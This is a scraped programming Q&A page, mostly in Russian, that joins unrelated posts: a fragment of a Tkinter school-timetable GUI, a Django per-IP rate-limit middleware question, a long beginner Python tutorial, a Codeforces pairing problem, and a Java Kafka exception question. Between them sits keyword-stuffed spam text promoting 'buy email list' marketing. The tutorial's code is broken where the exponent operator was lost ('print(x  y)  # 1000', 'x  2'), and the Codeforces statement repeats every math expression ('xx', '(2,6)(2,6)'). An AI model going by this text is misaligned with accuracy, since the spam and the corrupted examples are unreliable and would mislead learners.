                    weditgs = Label(wedlesson, text="Psychology || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=6)
                    weditgs.grid(row=2, column=0, sticky=S, padx=1, pady=1)

                    wedmaths = Label(wedlesson, text="English || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
                    wedmaths.grid(row=3, column=0, sticky=S, padx=1, pady=1)

                    wedview = Button(wedlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=wedviewcom)
                    wedview.grid(row=4, column=0, sticky=S, padx=1, pady=1)

                def thursdays():
                    hules = Toplevel(root)
                    hules.title("THURSDAY")
                    hules.resizable(0, 0)
                    hules.configure(bg='black')
                    hules.geometry('910x740')


                    hulesson = Frame(hules, width=750, height=600, bg='black')
                    hulesson.grid(row=0, column=0, padx=1, pady=1)


                    huregistration = Label(hulesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=5)
                    huregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)

                    huenglish = Label(hulesson, text="English || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=5)
                    huenglish.grid(row=1, column=0, sticky=S, padx=1, pady=1)

                    humaths = Label(hulesson, text="Maths || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=5)
                    humaths.grid(row=2, column=0, sticky=S, padx=1, pady=1)

                    huliterature = Label(hulesson, text="Literature || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=5)
                    huliterature.grid(row=3, column=0, sticky=S, padx=1, pady=1)

                    huitgs = Label(hulesson, text="ITGS || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=5)
                    huitgs.grid(row=4, column=0, sticky=S, padx=1, pady=1)

                    huview = Button(hulesson, text="View", fg='black', bg='white', font=300, width=85, height=5, command=huviewcom)
                    huview.grid(row=5, column=0, sticky=S, padx=1, pady=1)

                def fridays():
                    frles = Toplevel(root)
                    frles.title("FRIDAY")
                    frles.resizable(0, 0)
                    frles.configure(bg='black')
                    frles.geometry('910x740')


                    frlesson = Frame(frles, width=750, height=600, bg='black')
                    frlesson.grid(row=0, column=0, padx=1, pady=1)


                    frregistration = Label(frlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
                    frregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)

                    frcs = Label(frlesson, text="CS|| 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=6)
                    frcs.grid(row=1, column=0, sticky=S, padx=1, pady=1)

                    frpsychology = Label(frlesson, text="Psychology || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=6)
                    frpsychology.grid(row=2, column=0, sticky=S, padx=1, pady=1)

                    frgm = Label(frlesson, text="GM || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
                    frgm.grid(row=3, column=0, sticky=S, padx=1, pady=1)

                    frview = Button(frlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=frviewcom)
                    frview.grid(row=4, column=0, sticky=S, padx=1, pady=1)

                lu = Frame(altroot, width=250, height=200, bg='white')
                lu.grid(row=0, column=0, padx=1, pady=1, sticky=N)

                tp = Frame(altroot, width=250, height=200, bg='white')
                tp.grid(row=0, column=1, padx=1, pady=1, sticky=N)

                ru = Frame(altroot, width=250, height=200, bg='white')
                ru.grid(row=0, column=2, padx=1, pady=1, sticky=N)

                lt = Frame(altroot, width=250, height=200, bg='white')
                lt.grid(row=1, column=0, padx=1, pady=1, sticky=N)

                md = Frame(altroot, width=250, height=200, bg='white')
                md.grid(row=1, column=1, padx=1, pady=1, sticky=N)

                rt = Frame(altroot, width=250, height=200, bg='white')
                rt.grid(row=1, column=2, padx=1, pady=1, sticky=N)

                bt = Frame(altroot, width=250, height=200, bg='white')
                bt.grid(row=2, column=1, padx=1, pady=1, sticky=N)


                mday = Button(lu, text="MONDAY", fg='black', bg='white', font=150, width=27, height=10, command=mondays)
                mday.pack()

                tday = Button(tp, text="TUESDAY", fg='black', bg='white', font=150, width=27, height=10, command=tuesdays)
                tday.pack()

                wday = Button(ru, text="WEDNESDAY", fg='black', bg='white', font=150, width=27, height=10, command=wednesdays)
                wday.pack()

                thday = Button(lt, text="THURSDAY", fg='black', bg='white', font=150, width=27, height=10, command=thursdays)
                thday.pack()

                fday = Button(md, text="FRIDAY", fg='black', bg='white', font=150, width=27, height=10, command=fridays)
                fday.pack()

                saday = Label(rt, text="SATURDAY", fg='black', bg='white', font=150, width=27, height=10)
                saday.pack()

                sday = Label(bt, text="SUNDAY", fg='black', bg='white', font=150, width=27, height=10)
                sday.pack()


                altroot.mainloop()

            else:
                attempts+=1
                print('incorrect!')
                if attempts==3:
                    print('too many attempts')

    ttt = Button(root, text="Enter", command=start).pack()

    root.mainloop()

    python   tkinter   gui   help   error  

    866   0   09:36, 7th January, 2022


    Create A Loyalty Program Another Thing Growth Buy Email List Hackers Focus On Is Building Customer Loyalty .

     A loyal customer not only provides a better return on investment but also attracts new customers. Loyalty was one of the main reasons customers chose Amazon over other buy email list e-commerce stores at the start of the COVID-19 pandemic, leading to an increase in Amazon traffic of 100 million. Related:   Keyboard shortcuts for Calendar, Reminders, and Notes on Mac The easiest way to build loyalty is to thank your customers for buy email list choosing your brand over all others. Virtual phone systems are the future of customer retention. If you can connect with your customers personally or provide them with a tailored customer marketing experience, you can increase your growth more than buy email list your competitors. 

    You can offer a loyalty discount or membership based on purchases, or you can simply send a thank you card. You can promote your loyalty program using Chatbots WP, for buy email list example. You can design a bot to inform site visitors about your offer and even answer frequently asked questions in a fully automated way. Focus on email marketing optimization Email marketing is a strategy that most WooCommerce store owners use when launching a new product or service. A cloud-hosted telephony solution lets you make calls from any laptop or mobile device. This is especially good for those who have a micro-niche e-commerce store and want to scale it. You can provide real-time support to buy email list your customers and connect with them on an individual level.

    However, this technique became saturated over time. You need to move to a more personalized approach based on your individual client. If you start with cold buy email list campaigns hoping that the target audience can convert, you may not get the best results. The easiest way to personalize your email is to use an email automation platform. This type of platform lets you focus on individual aspects using features like segmentation, A/B testing, custom template design, and more. Alternatively, you can couple your email marketing campaign with your social buy email list media to create a 360-degree customer marketing strategy.



    middleware которое будет возвращать ошибку если за последние n секунд было больше k запросов c одного ip адреса

    Здравствуйте! Начал изучать Django, здесь встала задачка как реализовать миддлвер, что бы возвращал исключение если за последние n секунд было больше k запросов c одного ip адреса.

    На сколько смог додуматься, код ниже:

    class FilterIPMiddlewareCountTime:
    
        def __init__(self, get_request):
            self.get_request = get_request
            self._count_request = 3
            self._total = 0
            self._time_request = time.time()
    
        def __call__(self, response):
    
            answer_ips = ['127.0.0.1']
            ip = response.META.get("REMOTE_ADDR")
    
            if ip not in answer_ips:
                raise PermissionDenied()
    
            t1 = time.time()
            request = self.get_request(response)
            t2 = time.time()
            self._total += t2 - t1
            print('{: ^15}  {}'.format('TOTAL: ', self._total))
            print('{: ^15}  {}'.format('COUNT:', self._count_request))
            
            if self._count_request > self._total:
                self._total = 0
                raise PermissionDenied()
            return request

    django   python  

    2863   0   14:11, 16th March, 2022


    Python с нуля: полное руководство для начинающих

    Оглавление

    1. [Введение в Python] 2. [Установка Python] 3. [Первая программа на Python] 4. [Основы синтаксиса Python] 5. [Типы данных в Python] 6. [Переменные и операторы] 7. [Условные конструкции] 8. [Циклы в Python] 9. [Функции] 10. [Работа со списками и словарями] 11. [Работа с файлами] 12. [Обработка исключений] 13. [Модули и библиотеки] 14. [Объектно-ориентированное программирование в Python] 15. [Практические проекты для начинающих] 16. [Ресурсы для дальнейшего изучения] 17. [Заключение]

    Введение в Python

    Python – это мощный, гибкий и легкий для изучения язык программирования, который стал одним из самых популярных в мире. Созданный Гвидо ван Россумом и впервые выпущенный в 1991 году, Python продолжает расти и развиваться, оставаясь при этом верным своей философии простоты и читаемости кода.

    Почему стоит изучать Python?

    1. Простота и читаемость: Синтаксис Python интуитивно понятен и близок к естественному языку, что делает его идеальным для начинающих. 2. Универсальность: Python применяется в веб-разработке, анализе данных, искусственном интеллекте, научных вычислениях и многих других областях. 3. Большое сообщество: Огромное количество разработчиков по всему миру создают библиотеки и инструменты, расширяющие возможности языка. 4. Высокий спрос на рынке труда: Специалисты по Python высоко ценятся работодателями во многих отраслях. В этом руководстве мы пройдем путь от установки Python до создания ваших первых программ и понимания ключевых концепций языка.

    Установка Python

    Прежде чем начать программировать на Python, необходимо установить его на ваш компьютер. Python доступен для всех основных операционных систем: Windows, macOS и Linux.

    Для Windows:

    1. Посетите официальный сайт Python (python.org). 2. Скачайте последнюю версию Python для Windows. 3. Запустите установщик и следуйте инструкциям. Убедитесь, что отмечен пункт "Add Python to PATH". 4. После установки откройте командную строку и введите `python --version`, чтобы проверить успешность установки.

    Для macOS:

    1. На современных версиях macOS Python может быть уже установлен. Проверьте это, открыв Terminal и введя `python --version`. 2. Если Python не установлен или вы хотите обновить его, скачайте последнюю версию с официального сайта. 3. Запустите установщик и следуйте инструкциям.

    Для Linux:

    На большинстве дистрибутивов Linux Python уже предустановлен. Если нет, вы можете установить его через менеджер пакетов: - Для Ubuntu или Debian: `sudo apt-get install python3` - Для Fedora: `sudo dnf install python3` После установки вы готовы начать свое путешествие в мир Python!

    Первая программа на Python

    Традиционно, первой программой на любом языке программирования является "Hello, World!". Давайте создадим эту программу на Python. 1. Откройте любой текстовый редактор (например, Notepad++ для Windows или TextEdit для macOS). 2. Введите следующий код:
    python
    print("Hello, World!")
    
    3. Сохраните файл с расширением `.py`, например, `hello_world.py`. 4. Откройте командную строку или терминал, перейдите в директорию с вашим файлом и выполните команду:
    python hello_world.py
    
    Вы должны увидеть вывод: `Hello, World!` Поздравляем! Вы только что написали и запустили свою первую программу на Python.

    Основы синтаксиса Python

    Python известен своим чистым и читаемым синтаксисом. Вот несколько ключевых особенностей: 1. Отступы: Python использует отступы для определения блоков кода. Обычно используется 4 пробела. 2. Комментарии: Однострочные комментарии начинаются с `#`, многострочные заключаются в `'''` или `"""`. 3. Переменные: В Python не нужно объявлять тип переменной.
    python
    x = 5  # это целое число
    y = "Hello"  # это строка
    
    4. Операторы присваивания: Используйте `=` для присваивания значений. 5. Операторы сравнения:
    `==`, `!=`, `<`, `>`, `<=`, `>=`
    6. Логические операторы: `and`, `or`, `not` Понимание этих основ поможет вам начать писать простые программы и подготовит к изучению более сложных концепций.

    Типы данных в Python

    Python имеет несколько встроенных типов данных. Вот основные из них: 1. Числа: - Целые числа (int): `x = 5` - Числа с плавающей точкой (float): `y = 3.14` - Комплексные числа: `z = 1 + 2j` 2. Строки (str):
    python
    name = "Python"
    multiline = """Это
    многострочная
    строка"""
    
    3. Списки (list):
    python
    fruits = ["яблоко", "банан", "апельсин"]
    
    4. Кортежи (tuple):
    python
    coordinates = (10, 20)
    
    5. Словари (dict):
    python
    person = {"name": "Иван", "age": 30}
    
    6. Множества (set):
    python
    unique_numbers = {1, 2, 3, 4, 5}
    
    7. Логический тип (bool):
    python
    is_python_fun = True
    
    Понимание типов данных критически важно для эффективного программирования на Python.

    Переменные и операторы

    Переменные

    В Python переменные создаются при первом присваивании:
    python
    x = 5
    name = "Alice"
    is_student = True
    
    Python динамически типизирован, что означает, что вам не нужно явно указывать тип переменной.

    Операторы

    Python поддерживает различные типы операторов: 1. Арифметические операторы: `+`, `-`, `*`, `/`, `//` (целочисленное деление), `%` (остаток), `` (возведение в степень)
    python
    x = 10
    y = 3
    print(x + y)  # 13
    print(x / y)  # 3.3333...
    print(x // y)  # 3
    print(x % y)  # 1
    print(x  y)  # 1000
    
    2. Операторы сравнения: `==`, `!=`, `<`, `>`, `<=`, `>=`
    python
    x = 5
    y = 10
    print(x == y)  # False
    print(x < y)   # True
    
    3. Логические операторы: `and`, `or`, `not`
    python
    x = 5
    y = 10
    z = 15
    print(x < y and y < z)  # True
    print(x > y or y > z)   # False
    print(not x == y)       # True
    
    4. Операторы присваивания: `=`, `+=`, `-=`, `*=`, `/=`, `%=`, `=`, `//=`
    python
    x = 5
    x += 3  # эквивалентно x = x + 3
    print(x)  # 8
    
    Понимание этих операторов позволит вам выполнять различные операции с данными в ваших программах.

    Условные конструкции

    Условные конструкции позволяют программе принимать решения на основе определенных условий. В Python основной условной конструкцией является `if-elif-else`.

    Оператор if

    python
    age = 18
    if age >= 18:
        print("Вы совершеннолетний")
    

    Оператор if-else

    python
    age = 16
    if age >= 18:
        print("Вы совершеннолетний")
    else:
        print("Вы несовершеннолетний")
    

    Оператор if-elif-else

    python
    score = 75
    if score >= 90:
        print("Отлично")
    elif score >= 80:
        print("Хорошо")
    elif score >= 70:
        print("Удовлетворительно")
    else:
        print("Нужно улучшить результат")
    

    Тернарный оператор

    Python также поддерживает тернарный оператор для краткой записи простых условий:
    python
    age = 20
    status = "совершеннолетний" if age >= 18 else "несовершеннолетний"
    print(status)  # совершеннолетний
    
    Условные конструкции - это мощный инструмент, позволяющий создавать более сложную логику в ваших программах.

    Циклы в Python

    Циклы позволяют выполнять код многократно. В Python есть два основных типа циклов: `for` и `while`.

    Цикл for

    Цикл `for` используется для итерации по последовательности (например, списку, кортежу, строке) или другому итерируемому объекту.
    python
    # Итерация по списку
    fruits = ["яблоко", "банан", "апельсин"]
    for fruit in fruits:
        print(fruit)
    
    # Использование range()
    for i in range(5):
        print(i)  # Выведет числа от 0 до 4
    

    Цикл while

    Цикл `while` выполняется, пока условие истинно.
    python
    count = 0
    while count < 5:
        print(count)
        count += 1
    

    Операторы break и continue

    - `break` используется для выхода из цикла досрочно. - `continue` используется для перехода к следующей итерации цикла.
    python
    for i in range(10):
        if i == 3:
            continue  # Пропустить 3
        if i == 7:
            break  # Выйти из цикла при достижении 7
        print(i)
    

    Цикл for с else

    Python позволяет использовать `else` с циклом `for`. Блок `else` выполняется, если цикл завершился нормально (без `break`).
    python
    for i in range(5):
        print(i)
    else:
        print("Цикл завершен нормально")
    
    Циклы - это фундаментальная концепция в программировании, позволяющая эффективно обрабатывать данные и автоматизировать повторяющиеся задачи.

    Функции

    Функции в Python - это блоки кода, которые выполняют определенную задачу. Они позволяют структурировать код, делая его более читаемым и повторно используемым.

    Определение функции

    python
    def greet(name):
        return f"Привет, {name}!"
    
    # Вызов функции
    message = greet("Алиса")
    print(message)  # Выведет: Привет, Алиса!
    

    Параметры функции

    Функции могут принимать параметры, которые позволяют передавать в них данные.
    python
    def add(a, b):
        return a + b
    
    result = add(5, 3)
    print(result)  # Выведет: 8
    

    Параметры по умолчанию

    Вы можете задать значения параметров по умолчанию:
    python
    def greet(name, greeting="Привет"):
        return f"{greeting}, {name}!"
    
    print(greet("Боб"))  # Выведет: Привет, Боб!
    print(greet("Алиса", "Здравствуй"))  # Выведет: Здравствуй, Алиса!
    

    Произвольное количество аргументов

    Python позволяет функциям принимать произвольное количество аргументов:
    python
    def sum_all(*args):
        return sum(args)
    
    print(sum_all(1, 2, 3, 4))  # Выведет: 10
    

    Лямбда-функции

    Лямбда-функции - это небольшие анонимные функции, которые могут иметь любое количество аргументов, но только одно выражение.
    python
    square = lambda x: x  2
    print(square(5))  # Выведет: 25
    
    # Использование лямбда-функции с встроенными функциями
    numbers = [1, 2, 3, 4, 5]
    squared_numbers = list(map(lambda x: x  2, numbers))
    print(squared_numbers)  # Выведет: [1, 4, 9, 16, 25]
    

    Области видимости и глобальные переменные

    Python использует области видимости для определения доступности переменных.
    python
    x = 10  # Глобальная переменная
    
    def function():
        global x  # Объявляем, что хотим использовать глобальную переменную
        x = 20    # Изменяем глобальную переменную
        print(x)
    
    function()
    print(x)  # Выведет: 20
    
    Функции - это основа модульного программирования. Они позволяют разбивать сложные задачи на более мелкие, управляемые части, что делает код более организованным и легким для понимания.

    Работа со списками и словарями

    Списки и словари - это мощные структуры данных в Python, которые позволяют эффективно хранить и обрабатывать коллекции элементов.

    Списки

    Списки - это упорядоченные коллекции элементов, которые могут быть разных типов.
    python
    # Создание списка
    fruits = ["яблоко", "банан", "апельсин"]
    
    # Добавление элемента
    fruits.append("груша")
    
    # Доступ к элементам
    print(fruits[0])  # Выведет: яблоко
    
    # Срезы
    print(fruits[1:3])  # Выведет: ['банан', 'апельсин']
    
    # Перебор элементов
    for fruit in fruits:
        print(fruit)
    
    # Списковое включение
    squares = [x2 for x in range(5)]
    print(squares)  # Выведет: [0, 1, 4, 9, 16]
    

    Словари

    Словари - это неупорядоченные коллекции пар ключ-значение.
    python
    # Создание словаря
    person = {"name": "Иван", "age": 30, "city": "Москва"}
    
    # Доступ к значениям
    print(person["name"])  # Выведет: Иван
    
    # Добавление новой пары ключ-значение
    person["job"] = "программист"
    
    # Перебор словаря
    for key, value in person.items():
        print(f"{key}: {value}")
    
    # Проверка наличия ключа
    if "age" in person:
        print("Возраст указан")
    

    Работа с файлами

    Работа с файлами - важная часть многих программ. Python предоставляет простые и эффективные способы чтения и записи файлов.

    Чтение файла

    python
    # Чтение всего файла
    with open("example.txt", "r") as file:
        content = file.read()
        print(content)
    
    # Чтение файла построчно
    with open("example.txt", "r") as file:
        for line in file:
            print(line.strip())
    

    Запись в файл

    python
    # Запись в файл
    with open("output.txt", "w") as file:
        file.write("Привет, мир!")
    
    # Добавление в конец файла
    with open("output.txt", "a") as file:
        file.write("\nЭто новая строка.")
    
    Использование конструкции `with` гарантирует, что файл будет правильно закрыт после завершения работы с ним.

    Обработка исключений

    Обработка исключений позволяет вашей программе элегантно справляться с ошибками и непредвиденными ситуациями.
    python
    try:
        number = int(input("Введите число: "))
        result = 10 / number
        print(f"Результат: {result}")
    except ValueError:
        print("Вы ввели не число.")
    except ZeroDivisionError:
        print("Деление на ноль недопустимо.")
    except Exception as e:
        print(f"Произошла ошибка: {e}")
    else:
        print("Операция выполнена успешно.")
    finally:
        print("Этот блок выполняется всегда.")
    

    Модули и библиотеки

    Модули позволяют организовывать код и повторно использовать функциональность. Python имеет богатую стандартную библиотеку и тысячи сторонних пакетов.

    Импорт модулей

    python
    # Импорт всего модуля
    import math
    print(math.pi)
    
    # Импорт конкретной функции
    from random import randint
    print(randint(1, 10))
    
    # Импорт с псевдонимом
    import datetime as dt
    print(dt.datetime.now())
    

    Создание собственных модулей

    Вы можете создавать собственные модули, просто сохраняя функции в отдельных файлах .py.
    python
    # В файле mymodule.py
    def greet(name):
        return f"Привет, {name}!"
    
    # В основном файле
    import mymodule
    print(mymodule.greet("Алиса"))
    

    Объектно-ориентированное программирование в Python

    ООП - это парадигма программирования, которая использует "объекты" для моделирования реальных или абстрактных понятий.

    Определение класса

    python
    class Dog:
        def __init__(self, name):
            self.name = name
    
        def bark(self):
            return f"{self.name} говорит Гав!"
    
    # Создание объекта
    my_dog = Dog("Бобик")
    print(my_dog.bark())  # Выведет: Бобик говорит Гав!
    

    Наследование

    python
    class Animal:
        def __init__(self, name):
            self.name = name
    
        def speak(self):
            pass
    
    class Cat(Animal):
        def speak(self):
            return f"{self.name} говорит Мяу!"
    
    my_cat = Cat("Мурка")
    print(my_cat.speak())  # Выведет: Мурка говорит Мяу!
    

    Практические проекты для начинающих

    Лучший способ изучить программирование - это практика. Вот несколько идей для проектов: 1. Консольный калькулятор 2. Игра "Угадай число" 3. Программа для ведения списка дел (To-Do List) 4. Простой веб-скрапер с использованием библиотеки requests 5. Анализатор текста (подсчет слов, букв и т.д.)

    Ресурсы для дальнейшего изучения

    1. Официальная документация Python (python.org) 2. Книга "Python Crash Course" by Eric Matthes 3. Онлайн-курсы на платформах Coursera, edX, Udemy 4. Сайт PyPI для изучения доступных пакетов 5. GitHub для изучения открытых проектов на Python

    Заключение

    Python - это мощный и гибкий язык программирования, который отлично подходит как для новичков, так и для опытных разработчиков. Начав с основ, вы можете постепенно углубляться в более сложные темы, такие как обработка данных, машинное обучение или веб-разработка. Помните, что ключ к успеху в программировании на Питон - это постоянная практика и непрерывное обучение. Не бойтесь экспериментировать, задавать вопросы и работать над реальными проектами.

    python  

    2599   0   13:58, 18th June, 2022


    Помогите решить задачу на python с codeforces

    Назовем два числа xx и yy похожими, если они имеют одинаковую четность (одинаковый остаток при делении на 22), или если |x−y|=1|x−y|=1. Например, в каждой из пар (2,6)(2,6), (4,3)(4,3), (11,7)(11,7) числа похожи между собой, а в парах (1,4)(1,4), (3,12)(3,12) — нет.

    Вам дан массив aa из nn (число nn четно) целых положительных чисел. Проверьте, существует ли такое разбиение массива на пары, что каждый элемент массива принадлежит ровно одной паре, и в каждой паре числа похожи между собой.

    Например для массива a=[11,14,16,12]a=[11,14,16,12] существует разбиение на пары (11,12)(11,12) и (14,16)(14,16). Числа в первой паре похожи, потому что модуль их разности равен единице, а во второй паре — потому что они оба четные.

    Входные данные

    В первой строке записано одно целое число tt (1≤t≤10001≤t≤1000) — количество наборов тестовых данных в тесте. Далее следуют tt наборов тестовых данных.

    Каждый набор задается двумя строками. В первой строке записано четное целое число nn (2≤n≤502≤n≤50) — длина массива aa.

    Во второй строке записано nn целых чисел a1,a2,…,ana1,a2,…,an (1≤ai≤1001≤ai≤100).

    Выходные данные

    Для каждого набора тестовых данных выведите:

    • YES, если разбиение существует;
    • NO, если разбиения не существует.

    Буквы в словах YES и NO можно выводить в любом регистре.

    Пример

    входные данные

    7
    4
    11 14 16 12
    2
    1 8
    4
    1 1 1 1
    4
    1 2 5 6
    2
    12 13
    6
    1 6 3 10 5 8
    6
    1 12 3 10 5 8
    

    выходные данные

    YES
    NO
    YES
    YES
    YES
    YES
    NO

    python   codeforces   задача   программирование  

    4492   0   11:11, 22nd October, 2022


    прокидывать exception в блоках try-catch JAVA

    я новичок. дали первую таску, одну часть выполнила, на второй встряла. подскажите пожалуйста что конкретно делать тут
    "...в сервисных классах кафки нужно прокидывать exception в блоках try-catch, где вызывается log.error(). Нужно будет написать новые эксепшены нашего сервиса и прокидывать их"

    мои сервисы
     

    @Slf4j
    @Component
    @RequiredArgsConstructor
    public class KafkaListenersService {
    
        private final KafkaSenderService kafkaSender;
        @Value(value = "${kafka-topics.platform-direction-create}")
        private String platformDirectionCreate;
        @Value(value = "${kafka-topics.platform-direction-update}")
        private String platformDirectionUpdate;
        @Value(value = "${kafka-topics.platform-direction-delete}")
        private String platformDirectionDelete;
        private final ObjectMapper objectMapper;
    
        @KafkaListener(topics = "${kafka-topics.adapter-direction-create}")
        public void listenerAdapterDirectionCreate(ConsumerRecord<String, JsonNode> myRecord){
            log.info("Get message in topic adapter-direction-create, key {} value {}", myRecord.key(), myRecord.value());
    
            DirectionRequest directionRequest = null;
    
            try {
                directionRequest = objectMapper.treeToValue(myRecord.value(), DirectionRequest.class);
            } catch (JsonProcessingException e) {
                log.error("Error reading message: {}", e.getMessage());
            }
            log.info("Created request to create direction: " + directionRequest.getName());
    
            kafkaSender.sendMessage(platformDirectionCreate, "Create direction", myRecord.value());
        }
    
        @KafkaListener(topics = "${kafka-topics.adapter-direction-update}")
        public void listenerAdapterDirectionUpdate(ConsumerRecord<String, JsonNode> myRecord){
            log.info("Get message in topic adapter-direction-update, key {} value {}", myRecord.key(), myRecord.value());
    
            DirectionRequest directionRequest = null;
    
            try {
                directionRequest = objectMapper.treeToValue(myRecord.value(), DirectionRequest.class);
            } catch (JsonProcessingException e) {
                log.error("Error reading message: {}", e.getMessage());
            }
            log.info("Created request to update direction: " + directionRequest.getName());
    
            kafkaSender.sendMessage(platformDirectionUpdate, "Update direction", myRecord.value());
        }
    
        @KafkaListener(topics = "${kafka-topics.adapter-direction-delete}")
        public void listenerAdapterDirectionDelete(ConsumerRecord<String, JsonNode> myRecord){
            log.info("Get message in topic adapter-direction-delete, key {} value {}", myRecord.key(), myRecord.value());
    
            String id = null;
    
            try {
                id = objectMapper.treeToValue(myRecord.value(), String.class);
            } catch (JsonProcessingException e) {
                log.error("Error reading message: {}", e.getMessage());
            }
            log.info("Created request to delete direction with id: " + id);
    
            kafkaSender.sendMessage(platformDirectionDelete, "Delete direction", myRecord.value());
        }
    }
    
    ----------------------------------------------------------------------------------------------------
    
    
    @Slf4j
    @Service
    @RequiredArgsConstructor
    public class KafkaSenderService {
    
        private final KafkaTemplate<String, Object> kafkaTemplate;
        @Value(value = "${acks-timeout-mseconds}")
        private Integer acksTimeoutMseconds;
    
        public void sendMessage(String topic, String key, Object msg) {
            try {
                kafkaTemplate.send(topic, key, msg).get(acksTimeoutMseconds, TimeUnit.MILLISECONDS);
            } catch (ExecutionException | InterruptedException | TimeoutException e) {
                log.error("Message timeout may not be connected to Kafka! {} , stackTrace {}", e, Arrays.toString(e.getStackTrace()));
            }
            log.info("Sending via Kafka to a topic: {} massage: {}", topic, msg);
        }
    }

    exception   java   trycatch   кафка  

    4381   0   21:11, 11th March, 2023